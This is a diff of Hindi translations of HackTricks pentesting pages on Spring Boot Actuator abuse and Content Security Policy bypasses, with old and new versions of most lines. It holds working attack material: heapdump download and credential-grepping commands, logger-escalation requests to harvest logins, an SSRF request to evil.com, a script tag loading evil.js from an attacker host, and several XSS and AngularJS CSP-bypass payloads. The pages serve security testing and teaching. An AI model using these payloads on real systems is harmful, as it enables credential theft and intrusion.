- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, और `spring.datasource.tomcat.max-active` जैसी properties को manipulate करके विभिन्न exploits, जैसे SQL injection या database connection strings बदलना, किया जा सकता है
### **अतिरिक्त जानकारी:**
- default actuators की एक व्यापक सूची [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) पर मिल सकती है।
- Spring Boot 2.x में `/env` endpoint property modification के लिए JSON format का उपयोग करता है, लेकिन सामान्य concept वही रहता है।
- default actuators की विस्तृत सूची [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) पर मिल सकती है।
- Spring Boot 2.x में `/env` endpoint property modification के लिए JSON format उपयोग करता है, लेकिन सामान्य concept वही रहता है।
### **संबंधित विषय:**
1. **Env + H2 RCE**:
- `/env` endpoint और H2 database के संयोजन को exploit करने के विवरण [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) पर मिलते हैं।
- `/env` endpoint और H2 database के combination को exploit करने के विवरण [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) पर मिलते हैं।
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Spring framework द्वारा HTTP pathnames में matrix parameters (`;`) की handling को Server-Side Request Forgery (SSRF) के लिए exploit किया जा सकता है।
- Spring framework द्वारा HTTP pathnames में matrix parameters (`;`) को हैंडल करने का तरीका Server-Side Request Forgery (SSRF) के लिए exploit किया जा सकता है।
- Example exploit request:
```http
GET ;@evil.com/url HTTP/1.1
@ -63,9 +63,9 @@ Connection: close
```
## HeapDump secrets mining (credentials, tokens, internal URLs)
यदि `/actuator/heapdump` एक्सपोज़्ड है, तो आप आमतौर पर एक पूरा JVM heap snapshot प्राप्त कर सकते हैं जो अक्सर live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, आदि) रखता है
यदि `/actuator/heapdump` एक्सपोज़्ड है, तो आप आमतौर पर एक पूरा JVM heap snapshot प्राप्त कर सकते हैं जिसमें अक्सर live secrets होते हैं (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, आदि)।
- Download and quick triage:
- डाउनलोड और त्वरित ट्रायज:
```bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
@ -74,32 +74,33 @@ strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.dat
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```
- Deeper analysis with VisualVM and OQL:
- VisualVM में heapdump खोलें, `java.lang.String` के instances इनसपेक्ट करें या OQL चलाकर secrets hunt करें:
- VisualVM और OQL के साथ गहरी जांच:
- heapdump को VisualVM में खोलें, `java.lang.String` के instances का निरीक्षण करें या OQL चलाकर secrets खोजें:
```
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
```
- Automated extraction with JDumpSpider:
- JDumpSpider के साथ ऑटोमैटेड एक्सट्रैक्शन:
```bash
java -jar JDumpSpider-*.jar heapdump
```
Typical high-value findings:
- Spring `DataSourceProperties` / `HikariDataSource` ऑब्जेक्ट्स जो `url`, `username`, `password` उजागर करते हैं।
- `OriginTrackedMapPropertySource` entries जो `management.endpoints.web.exposure.include`, service ports, और URLs में embedded Basic-Auth (उदा., Eureka `defaultZone`) उजागर करते हैं।
- Plain HTTP request/response fragments जिनमें `Authorization: Basic ...` शामिल हैं, मेमोरी में कैप्चर हो सकते हैं।
उच्च-मूल्य के आम निष्कर्ष:
- Spring `DataSourceProperties` / `HikariDataSource` ऑब्जेक्ट्स जो `url`, `username`, `password` एक्सपोज़ करते हैं।
- `OriginTrackedMapPropertySource` एंट्रीज़ जो `management.endpoints.web.exposure.include`, सर्विस पोर्ट्स, और URLs में embedded Basic-Auth (जैसे Eureka `defaultZone`) को उजागर करती हैं।
- Plain HTTP request/response fragments जिनमें `Authorization: Basic ...` जैसे हेडर मेमोरी में कैप्चर होते हैं।
टिप्स:
- actuator endpoints जल्दी खोजने के लिए Spring-फोकस्ड wordlist का उपयोग करें (जैसे SecLists spring-boot.txt) और हमेशा जांचें कि `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, और `/actuator/configprops` भी एक्सपोज़्ड हैं या नहीं।
- heapdump से मिले Credentials अक्सर आस-पास की सेवाओं के लिए काम करते हैं और कभी-कभी सिस्टम यूज़र्स (SSH) के लिए भी, इसलिए इन्हें व्यापक रूप से ट्राय करें।
Tips:
- Actuator endpoints जल्दी खोजने के लिए Spring-focused wordlist का उपयोग करें (उदा., SecLists spring-boot.txt) और हमेशा जांचें कि `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, और `/actuator/configprops` भी एक्सपोज़्ड तो नहीं हैं।
- Heapdump से मिले credentials अक्सर adjacent services के लिए काम करते हैं और कभी-कभी system users (SSH) के लिए भी, इसलिए इन्हें व्यापक रूप से आजमाएँ।
## Abusing Actuator loggers/logging to capture credentials
यदि `management.endpoints.web.exposure.include` अनुमति देता है और `/actuator/loggers` एक्सपोज़्ड है, तो आप authentication और request processing वाली पैकेजों के लिए dynamic रूप से log levels को DEBUG/TRACE तक बढ़ा सकते हैं। readable logs (via `/actuator/logfile` या ज्ञात log paths) के साथ, यह login flows के दौरान submit हुए credentials को leak कर सकता है (उदा., Basic-Auth headers या form parameters)
यदि `management.endpoints.web.exposure.include` अनुमति देता है और `/actuator/loggers` एक्सपोज़्ड है, तो आप authentication और request processing को संभालने वाले पैकेजों के लिए डायनामिक रूप से log levels को DEBUG/TRACE तक बढ़ा सकते हैं। पढ़ने योग्य logs (via `/actuator/logfile` या ज्ञात log paths) के साथ मिलकर, यह लॉगins के दौरान सबमिट किए गए credentials (उदाहरण के लिए Basic-Auth headers या form parameters) लीक कर सकता है
- Enumerate and crank up sensitive loggers:
- संवेदनशील loggers की सूची बनाएं और उन्हें बढ़ाएँ:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .
@ -113,7 +114,7 @@ curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```
- Find where logs are written and harvest:
- पता लगाएं कि logs कहाँ लिखे जा रहे हैं और उन्हें हार्वेस्ट करें:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
@ -122,11 +123,12 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```
- Login/authentication traffic ट्रिगर करें और logs को parse करके creds निकालें। gateway के पीछे auth वाले microservice सेटअप में, gateway/security पैकेजों के लिए TRACE सक्रिय करने से अक्सर headers और form bodies दिखाई देने लगते हैं। कुछ environments periodic synthetic login traffic भी जनरेट करते हैं, जिससे verbose logging होने पर संग्रह करना trivial हो जाता है।
- login/authentication ट्रैफ़िक ट्रिगर करें और लॉग में creds पार्स करें। gateway के साथ माइक्रोservice सेटअप में, gateway/security पैकेज के लिए TRACE सक्षम करने से अक्सर headers और form bodies दिखाई देने लगते हैं। कुछ वातावरण पिरियोडिकली synthetic login ट्रैफ़िक भी जेनरेट करते हैं, जिससे verbose logging होने पर हार्वेस्ट करना बहुत आसान हो जाता है।
नोट्स:
- काम खत्म होने पर log levels reset करें: `POST /actuator/loggers/<logger>` with `{ "configuredLevel": null }`.
- यदि `/actuator/httpexchanges` एक्सपोज़्ड है, तो यह हालिया request metadata भी surface कर सकता है जिसमें संवेदनशील headers शामिल हो सकते हैं।
Notes:
- काम समाप्त होने पर log levels reset करें: `POST /actuator/loggers/<logger>` के साथ `{ "configuredLevel": null }`
- यदि `/actuator/httpexchanges` एक्सपोज़्ड है, तो यह हाल की request metadata भी surface कर सकता है जिसमें sensitive headers शामिल हो सकते हैं।
## References

View File

@ -4,28 +4,28 @@
## CSP क्या है
Content Security Policy (CSP) ब्राउज़र टेक्नोलॉजी के रूप में जानी जाती है, जिसका प्राथमिक उद्देश्य cross-site scripting (XSS) जैसे हमलों से सुरक्षा प्रदान करना है। यह उन स्रोतों और पथों को परिभाषित करके काम करती है जिनसे ब्राउज़र सुरक्षित रूप से संसाधन लोड कर सकता है। ये संसाधन images, frames, और JavaScript जैसे तत्वों को शामिल करते हैं। उदाहरण के लिए, एक policy एक ही डोमेन (self) से संसाधनों के लोड और निष्पादन की अनुमति दे सकती है, जिसमें inline संसाधन और `eval`, `setTimeout`, या `setInterval` जैसे functions के माध्यम से string code का execution भी शामिल हो सकता है।
Content Security Policy (CSP) को एक ब्राउज़र तकनीक के रूप में माना जाता है, जिसका मुख्य उद्देश्य **cross-site scripting (XSS) जैसे हमलों से सुरक्षा प्रदान करना** है। यह इस बात को परिभाषित और निर्दिष्ट करके काम करता है कि ब्राउज़र किन पथों और स्रोतों से संसाधन सुरक्षित रूप से लोड कर सकता है। ये संसाधन images, frames, और JavaScript जैसे तत्वों को शामिल करते हैं। उदाहरण के लिए, एक policy एक ही डोमेन (self) से संसाधनों के लोड और निष्पादन की अनुमति दे सकती है, जिसमें inline resources और `eval`, `setTimeout`, या `setInterval` जैसे फ़ंक्शंस के माध्यम से string code का निष्पादन शामिल हो सकता है।
Implementation of CSP **response headers** के माध्यम से किया जा सकता है या HTML पेज में **meta elements** शामिल करके। इस नीति के अनुसार, ब्राउज़र इन नियमों को सक्रिय रूप से लागू करते हैं और किसी भी पाए गए उल्लंघन को तुरंत ब्लॉक कर देते हैं।
CSP का क्रियान्वयन **response headers** के माध्यम से या HTML पेज में **meta elements** जोड़कर किया जाता है। इस नीति का पालन करते हुए, ब्राउज़र इन नियमों को सक्रिय रूप से लागू करते हैं और किसी भी पाए गए उल्लंघन को तुरंत ब्लॉक कर देते हैं।
- response header के माध्यम से लागू:
- response header के माध्यम से लागू किया गया:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- meta tag के माध्यम से लागू किया गया:
- meta tag के जरिए लागू:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### हेडर
CSP इन हेडर्स का उपयोग करके लागू या मॉनिटर किया जा सकता है:
इन हेडरों का उपयोग करके CSP को लागू या मॉनिटर किया जा सकता है:
- `Content-Security-Policy`: CSP को लागू करता है; ब्राउज़र किसी भी उल्लंघन को ब्लॉक कर देता है।
- `Content-Security-Policy-Report-Only`: मॉनिटरिंग के लिए उपयोग होता है; उल्लंघनों की रिपोर्ट करता है बिना उन्हें ब्लॉक किए। प्री-प्रोडक्शन वातावरण में परीक्षण के लिए आदर्श।
- `Content-Security-Policy-Report-Only`: निगरानी के लिए उपयोग किया जाता है; उल्लंघनों की रिपोर्ट करता है बिना उन्हें ब्लॉक किए। पूर्व-उत्पादन वातावरण में परीक्षण के लिए आदर्श।
### संसाधनों को परिभाषित करना
### संसाधन परिभाषित करना
CSP सक्रिय और निष्क्रिय दोनों प्रकार की सामग्री को लोड करने के लिए स्रोतों को सीमित करता है, और इनलाइन JavaScript के निष्पादन और `eval()` के उपयोग जैसे पहलुओं को नियंत्रित करता है। एक उदाहरण नीति इस प्रकार है:
CSP सक्रिय और निष्क्रिय सामग्री दोनों को लोड करने के मूलों को सीमित करता है, और inline JavaScript के निष्पादन तथा `eval()` के उपयोग जैसे पहलुओं को नियंत्रित करता है। उदाहरण नीति है:
```bash
default-src 'none';
img-src 'self';
@ -37,44 +37,45 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### निर्देश
### डायरेक्टिव्स
- **script-src**: JavaScript के लिए विशिष्ट स्रोतों की अनुमति देता है, जिनमें URLs, इनलाइन स्क्रिप्ट्स, और इवेंट हैंडलर्स या XSLT stylesheets द्वारा ट्रिगर किए गए स्क्रिप्ट्स शामिल हैं।
- **default-src**: जब विशेष fetch निर्देश अनुपस्थित होते हैं तो संसाधनों को फ़ेच करने के लिए डिफ़ॉल्ट पॉलिसी सेट करता है।
- **script-src**: JavaScript के लिए विशिष्ट स्रोतों की अनुमति देता है, जिसमें URLs, inline scripts, और event handlers या XSLT stylesheets से ट्रिगर होने वाले scripts शामिल हैं।
- **default-src**: जब specific fetch निर्देश अनुपस्थित हों तो संसाधन लाने के लिए डिफ़ॉल्ट नीति निर्धारित करता है।
- **child-src**: web workers और embedded frame सामग्री के लिए अनुमत स्रोत निर्दिष्ट करता है।
- **connect-src**: उन URLs को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसी इंटरफ़ेस के माध्यम से लोड किया जा सकता है।
- **frame-src**: फ्रेम्स के लिए URLs को प्रतिबंधित करता है।
- **frame-ancestors**: यह निर्दिष्ट करता है कि कौन से स्रोत वर्तमान पेज को embed कर सकते हैं; यह `<frame>`, `<iframe>`, `<object>`, `<embed>`, और `<applet>` जैसे elements पर लागू होता है।
- **img-src**: इमेजेस के लिए अनुमत स्रोत परिभाषित करता है।
- **font-src**: `@font-face` का उपयोग करके लोड किए गए fonts के लिए वैध स्रोत निर्दिष्ट करता है।
- **manifest-src**: application manifest फ़ाइलों के लिए अनुमत स्रोत परिभाषित करता है।
- **media-src**: मीडिया ऑब्जेक्ट्स लोड करने के लिए अनुमत स्रोत परिभाषित करता है।
- **object-src**: `<object>`, `<embed>`, और `<applet>` एलिमेंट्स के लिए अनुमत स्रोतों को परिभाषित करता है।
- **base-uri**: `<base>` एलिमेंट्स का उपयोग करके लोड करने के लिए अनुमत URLs निर्दिष्ट करता है।
- **form-action**: फॉर्म सबमिशन के लिए वैध endpoints सूचीबद्ध करता है।
- **plugin-types**: उन mime types को प्रतिबंधित करता है जिन्हें पेज invoke कर सकता है।
- **upgrade-insecure-requests**: ब्राउज़रों को HTTP URLs को HTTPS में rewrite करने का निर्देश देता है।
- **sandbox**: `<iframe>` के sandbox attribute जैसी सीमाएँ लागू करता है।
- **report-to**: नीति के उल्लंघन होने पर रिपोर्ट किस समूह को भेजी जाएगी यह निर्दिष्ट करता है।
- **connect-src**: fetch, WebSocket, XMLHttpRequest जैसे interfaces का उपयोग करके लोड किए जा सकने वाले URLs को सीमित करता है।
- **frame-src**: frames के लिए URLs को सीमित करता है।
- **frame-ancestors**: निर्दिष्ट करता है कि कौन से स्रोत वर्तमान पृष्ठ को embed कर सकते हैं; यह `<frame>`, `<iframe>`, `<object>`, `<embed>`, और `<applet>` जैसे तत्वों पर लागू होता है।
- **img-src**: images के लिए अनुमत स्रोत परिभाषित करता है।
- **font-src**: `@font-face` का उपयोग करके लोड किए जाने वाले fonts के लिए वैध स्रोत निर्दिष्ट करता है।
- **manifest-src**: application manifest फ़ाइलों के अनुमत स्रोत परिभाषित करता है।
- **media-src**: media objects को लोड करने के लिए अनुमत स्रोत परिभाषित करता है।
- **object-src**: `<object>`, `<embed>`, और `<applet>` तत्वों के लिए अनुमत स्रोत परिभाषित करता है।
- **base-uri**: `<base>` तत्वों का उपयोग करके लोड करने के लिए अनुमत URLs निर्दिष्ट करता है।
- **form-action**: form submissions के लिए मान्य endpoints सूचीबद्ध करता है।
- **plugin-types**: किसी पृष्ठ द्वारा invoke किए जाने वाले mime types को सीमित करता है।
- **upgrade-insecure-requests**: ब्राउज़र को HTTP URLs को HTTPS में पुनर्लेखन करने का निर्देश देता है।
- **sandbox**: `<iframe>` के sandbox attribute के समान प्रतिबंध लागू करता है।
- **report-to**: यदि नीति का उल्लंघन होता है तो रिपोर्ट भेजने के लिए एक समूह निर्दिष्ट करता है।
- **worker-src**: Worker, SharedWorker, या ServiceWorker स्क्रिप्ट्स के लिए वैध स्रोत निर्दिष्ट करता है।
- **prefetch-src**: उन संसाधनों के लिए वैध स्रोत निर्दिष्ट करता है जिन्हें fetched या prefetched किया जाएगा।
- **navigate-to**: उन URLs को प्रतिबंधित करता है जिन पर दस्तावेज़ किसी भी माध्यम से navigate कर सकता है (a, form, window.location, window.open, आदि)।
- **prefetch-src**: उन resources के लिए वैध स्रोत निर्दिष्ट करता है जिन्हें fetched या prefetched किया जाएगा।
- **navigate-to**: उन URLs को सीमित करता है जिनपर कोई document किसी भी माध्यम से नेविगेट कर सकता है (a, form, window.location, window.open, आदि)।
### स्रोत
- `*`: उन सभी URLs की अनुमति देता है सिवाय उन schemes के जिनमें `data:`, `blob:`, `filesystem:` होते हैं
- `'self'`: उसी डोमेन से लोड करने की अनुमति देता है।
- `'data'`: data स्कीम के जरिए संसाधनों को लोड करने की अनुमति देता है (उदा., Base64 एन्कोडेड इमेजेस)।
- `*`: `data:`, `blob:`, `filesystem:` schemes वाले URLs को छोड़कर सभी URLs की अनुमति देता है
- `'self'`: एक ही domain से लोडिंग की अनुमति देता है।
- `'data'`: data scheme के माध्यम से resources लोड होने की अनुमति देता है (उदा., Base64 encoded images)।
- `'none'`: किसी भी स्रोत से लोडिंग को ब्लॉक करता है।
- `'unsafe-eval'`: `eval()` और समान मेथड्स के उपयोग की अनुमति देता है; सुरक्षा कारणों से अनुशंसित नहीं।
- `'unsafe-eval'`: `eval()` और समान methods के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं।
- `'unsafe-hashes'`: विशिष्ट inline event handlers को सक्षम करता है।
- `'unsafe-inline'`: inline `<script>` या `<style>` जैसी inline resources के उपयोग की अनुमति देता है; सुरक्षा कारणों से अनुशंसित नहीं।
- `'nonce'`: क्रिप्टोग्राफिक nonce (एक बार उपयोग होने वाला नंबर) का उपयोग करके विशिष्ट inline स्क्रिप्ट्स के लिए एक whitelist।
- यदि आपके पास JS सीमित execution है तो पेज के अंदर इस्तेमाल किया गया nonce `doc.defaultView.top.document.querySelector("[nonce]")` से प्राप्त करना संभव है और फिर इसे पुन: उपयोग करके malicious स्क्रिप्ट लोड की जा सकती है (यदि strict-dynamic उपयोग किया गया है, तो किसी भी अनुमत स्रोत द्वारा नए स्रोत लोड किए जा सकते हैं इसलिए यह आवश्यक नहीं होता), जैसे कि:
- `'unsafe-inline'`: inline `<script>` या `<style>` जैसे inline resources के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं।
- `'nonce'`: cryptographic nonce (number used once) का उपयोग करके specific inline scripts के लिए एक whitelist।
If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if `strict-dynamic` is used, any allowed source can load new sources so this isn't needed), like in:
<details>
<summary>Nonce का पुन: उपयोग कर स्क्रिप्ट लोड करना</summary>
<summary>nonce का पुन: उपयोग करके script लोड करें</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
@ -88,16 +89,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: किसी विशिष्ट sha256 हैश वाले स्क्रिप्ट्स को व्हाइटलिस्ट करता है।
- `'strict-dynamic'`: किसी nonce या हैश द्वारा व्हाइटलिस्ट किए जाने पर किसी भी स्रोत से स्क्रिप्ट लोड करने की अनुमति देता है।
- `'host'`: किसी विशेष host को निर्दिष्ट करता है, जैसे `example.com`
- `https:`: URLs को उन तक सीमित करता है जो HTTPS का उपयोग करते हैं।
- `blob:`: Blob URLs से resources लोड करने की अनुमति देता है (उदा., JavaScript द्वारा बनाए गए Blob URLs)
- `filesystem:`: फ़ाइलसिस्टम से resources लोड करने की अनुमति देता है।
- `'report-sample'`: उल्लंघन रिपोर्ट में उल्लंघनकारी कोड का एक नमूना शामिल करता है (डिबगिंग के लिए उपयोगी)।
- `'strict-origin'`: 'self' के समान है लेकिन यह सुनिश्चित करता है कि स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज़ के साथ मेल खाता है (केवल secure origins ही secure origins से resources लोड कर पाएंगे)।
- `'strict-origin-when-cross-origin'`: same-origin अनुरोध करते समय पूरा URL भेजता है लेकिन cross-origin अनुरोध में केवल origin भेजता है।
- `'unsafe-allow-redirects'`: ऐसे resources को लोड करने की अनुमति देता है जो तुरंत किसी अन्य resource पर redirect कर देंगे। यह सिफारिश नहीं किया जाता क्योंकि यह सुरक्षा को कमजोर करता है।
- `'sha256-<hash>'`: विशिष्ट sha256 हैश वाले स्क्रिप्ट्स को श्वेतसूची में शामिल करता है।
- `'strict-dynamic'`: यदि किसी nonce या hash द्वारा श्वेतसूची में शामिल किया गया हो तो किसी भी स्रोत से स्क्रिप्ट्स लोड करने की अनुमति देता है।
- `'host'`: किसी विशिष्ट host को निर्दिष्ट करता है, जैसे `example.com`
- `https:`: उन URLs को सीमित करता है जो HTTPS का उपयोग करते हैं।
- `blob:`: Blob URLs (उदा., JavaScript के माध्यम से बनाए गए Blob URLs) से संसाधनों को लोड करने की अनुमति देता है
- `filesystem:`: फाइलसिस्टम से संसाधनों को लोड करने की अनुमति देता है।
- `'report-sample'`: उल्लंघन रिपोर्ट में उल्लंघन करने वाले कोड का एक सैंपल शामिल करता है (डिबगिंग के लिए उपयोगी)।
- `'strict-origin'`: 'self' के समान है लेकिन यह सुनिश्चित करता है कि स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज़ से मेल खाता है (केवल सुरक्षित origins ही सुरक्षित origins से संसाधन लोड कर सकते हैं)।
- `'strict-origin-when-cross-origin'`: same-origin अनुरोध करते समय पूर्ण URLs भेजता है लेकिन cross-origin अनुरोध पर केवल origin भेजता है।
- `'unsafe-allow-redirects'`: ऐसे संसाधनों को लोड करने की अनुमति देता है जो तुरंत किसी अन्य संसाधन पर redirect कर देंगे। सुरक्षा को कमजोर करने के कारण सुझावित नहीं है।
## असुरक्षित CSP नियम
@ -107,7 +108,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
काम करने वाला payload: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' द्वारा Iframes
#### self + 'unsafe-inline' Iframes के माध्यम से
{{#ref}}
@ -117,7 +118,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> यह काम नहीं कर रहा है, अधिक जानकारी के लिए [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> यह काम नहीं कर रहा है, अधिक जानकारी के लिए [**यहां देखें**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
@ -127,57 +128,57 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
### strict-dynamic
यदि आप किसी तरह DOM में अपने JS code के साथ एक **allowed JS code created a new script tag** बना सकते हैं — क्योंकि एक allowed script इसे बना रहा है — तो **new script tag will be allowed to be executed**
यदि आप किसी तरह DOM में अपने JS code के साथ एक **allowed JS code created a new script tag** बना सकें, क्योंकि एक allowed script इसे बना रहा है, तो वह **new script tag will be allowed to be executed**
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
काम करने वाला payload:
कार्यशील payload:
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### object-src और default-src की कमी
### object-src और default-src का अभाव
> [!CAUTION] > **ऐसा लगता है कि यह अब काम नहीं कर रहा है**
```yaml
Content-Security-Policy: script-src 'self' ;
```
काम करने वाले payloads:
कार्यशील payloads:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### File Upload + 'self'
### फ़ाइल अपलोड + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
यदि आप एक JS फाइल अपलोड कर सकते हैं तो आप इस CSP को बायपास कर सकते हैं:
यदि आप एक JS फाइल अपलोड कर सकते हैं तो आप इस CSP को bypass कर सकते हैं:
काम करने वाला payload:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
हालाँकि, यह काफी संभावित है कि server **validating the uploaded file** कर रहा होगा और केवल आपको कुछ निश्चित प्रकार की फाइलें ही **upload करने की अनुमति देगा**।
हालाँकि, काफी संभावना है कि सर्वर **अपलोड की गई फ़ाइल की जाँच कर रहा है** और आपको केवल कुछ निश्चित प्रकार की फ़ाइलें ही **अपलोड करने देगा**।
इसके अलावा, भले ही आप किसी extension (जैसे: _script.png_) का उपयोग करके फ़ाइल के अंदर **JS code inside** अपलोड कर सकें, तब भी यह अक्सर पर्याप्त नहीं होगा क्योंकि कुछ servers जैसे apache server फ़ाइल का MIME type **extension के आधार पर select** करते हैं और ब्राउज़र्स जैसे Chrome उस चीज़ के भीतर मौजूद Javascript code को **execute करने से reject** कर देंगे जो कि एक image होनी चाहिए। "खुशकिस्मती से", गलतियाँ होती हैं। उदाहरण के लिए, एक CTF में मैंने सीखा कि **Apache doesn't know** _**.wave**_ extension, इसलिए यह से **MIME type like audio/*** के साथ serve नहीं करता।
इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार किए गए एक्सटेंशन का उपयोग करके किसी फ़ाइल के अंदर **JS code inside** अपलोड कर पाते हों (जैसे: _script.png_) तो भी यह काफी नहीं होगा क्योंकि कुछ सर्वर जैसे Apache server फ़ाइल का MIME type extension के आधार पर **select** करते हैं और ब्राउज़र जैसे Chrome उस चीज़ के अंदर Javascript को execute करने से **reject** कर देंगे जो कि एक image होनी चाहिए। "Hopefully", गलतियाँ होती हैं। उदाहरण के लिए, एक CTF में मैंने सीखा कि **Apache doesn't know** _**.wave**_ extension, इसलिए यह से **MIME type like audio/*** के साथ serve नहीं करता।
From here, यदि आपको XSS और file upload दोनों मिल जाएँ, और आप किसी **misinterpreted extension** को ढूँढने में कामयाब हों, तो आप उस extension के साथ एक फाइल और script का Content upload करने की कोशिश कर सकते हैं। या, यदि server uploaded file के correct format की जांच कर रहा है, तो एक polyglot बनाएँ ([some polyglot examples here](https://github.com/Polydet/polyglot-database))।
यहाँ से, अगर आप XSS और file upload दोनों पाते हैं, और आप किसी **misinterpreted extension** को ढूंढने में कामयाब हो जाते हैं, तो आप उस extension के साथ एक फ़ाइल और script का Content अपलोड करने की कोशिश कर सकते हैं। या, अगर सर्वर अपलोड की गई फ़ाइल के सही format की जाँच कर रहा है, तो एक polyglot बनाएं ([some polyglot examples here](https://github.com/Polydet/polyglot-database))।
### Form-action
यदि JS inject करना संभव न हो, तो आप फिर भी उदाहरण के लिए credentials exfiltrate करने की कोशिश कर सकते हैं**injecting a form action** (और शायद password managers से passwords auto-fill होने की उम्मीद रखते हुए)। आप एक [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) देख सकते हैं। साथ ही ध्यान दें कि `default-src` form actions को कवर नहीं करता।
अगर JS inject करना संभव न हो, तो आप फिर भी credentials exfiltrate करने की कोशिश कर सकते हैं, उदाहरण के लिए एक form action inject करके (और संभवतः password managers से auto-fill की उम्मीद रखते हुए)। आप एक [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) देख सकते हैं। साथ ही, ध्यान दें कि `default-src` form actions को कवर नहीं करता।
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> For some of the following payload **`unsafe-eval` is not even needed**.
> कुछ निम्नलिखित payload के लिए **`unsafe-eval` की ज़रूरत भी नहीं होती**।
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
एक vulnerable version of angular लोड करें और arbitrary JS निष्पादित करें:
एक कमजोर संस्करण का angular लोड करें और मनमाना JS निष्पादित करें:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -198,10 +199,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads using Angular + एक लाइब्रेरी जिनके फंक्शन्स `window` ऑब्जेक्ट लौटाते हैं ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Angular + ऐसी लाइब्रेरी जिनके functions `window` object लौटाते हैं का उपयोग करके Payloads ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> यह पोस्ट दिखाती है कि आप `cdn.cloudflare.com` (या किसी अन्य अनुमत JS libraries repo) से सभी **लाइब्रेरीज़** को **लोड** कर सकते हैं, प्रत्येक लाइब्रेरी के जोड़े गए सभी फ़ंक्शन्स को चलाकर, और जांच सकते हैं कि **कौन से फ़ंक्शन किस लाइब्रेरी से `window` ऑब्जेक्ट लौटाते हैं**।
> पोस्ट दिखाती है कि आप `cdn.cloudflare.com` (या किसी अन्य अनुमत JS libraries repo) से सभी **लाइब्रेरीज़** को **लोड** कर सकते हैं, हर लाइब्रेरी से जोड़े गए सभी functions को execute कर सकते हैं, और यह जाँच सकते हैं कि **कौन से functions किन लाइब्रेरीज़ से `window` object लौटाते हैं**।
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -233,7 +234,7 @@ Angular XSS एक class name से:
```
#### google recaptcha JS code का दुरुपयोग
